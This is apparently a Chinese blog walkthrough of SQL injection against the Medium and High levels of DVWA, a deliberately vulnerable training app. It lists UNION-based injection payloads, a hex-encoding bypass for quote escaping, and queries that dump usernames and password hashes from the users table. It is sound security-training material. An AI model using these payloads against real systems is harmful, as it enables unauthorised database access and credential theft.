DVWA平台sql注入
Medium:


Medium级别的代码利用mysql_real_escape_string函数对特殊符号\x00,\n,\r,\,’,”,\x1a进行转义,同时前端使用了下拉选择菜单,可以通过抓包改参数,提交恶意构造的查询参数。
1.判断注入是字符型还是数字型
抓包更改参数id为1’ or 1=1 #

报错:

抓包更改参数id为1 or 1=1 #,查询成功:

说明存在数字型注入。
2.猜解SQL查询语句中的字段数
抓包更改参数id为1 order by 2 #,查询成功:

抓包更改参数id为1 order by 3 #,报错

说明执行的SQL查询语句中只有两个字段
3.确定显示的字段顺序
抓包更改参数id为1 union select 1,2 #,查询成功, 说明执行的SQL语句为select First name,Surname from 表 where ID=id…

4.获取当前数据库
抓包更改参数id为1 union select 1,database() #

说明当前的数据库为dvwa。
5.获取数据库中的表
抓包更改参数id为1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

说明数据库dvwa中一共有两个表,guestbook与users。
6.获取表中的字段名
抓包更改参数id为1 union select 1,group_concat(column_name) from information_schema.columns where table_name=’users ’#,查询失败,因为单引号被转义了,变成了\’。

可以利用16进制进行绕过,抓包更改参数id为1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0×7573657273 #,查询成功:

说明users表中有8个字段,分别是user_id,first_name,last_name,user,password,avatar,last_login,failed_login。
7.下载数据
抓包修改参数id为1 union select user,password from users#

High:

High级别的只是在SQL查询语句中添加了LIMIT 1, 希望以此控制只输出一个结果, 但是我们可以通过#将其注释掉。注入的过程与Low级别基本一样。
1.猜解SQL查询语句中的字段数
1' order by 2#

1' order by 3#

从上面两个图可以说明,SQL语句查询的表的字段数是2
2.确定SQL语句查询之后的回显位置
1' union select 1,2# 可以看出有2个回显

3.查询当前的数据库,以及版本
1' union select version(),database()#

4.获取数据库中的表
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

5.获取表中的字段名
1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#

6.获得字段中的数据
1' union select user,password from users#


浙公网安备 33010602011771号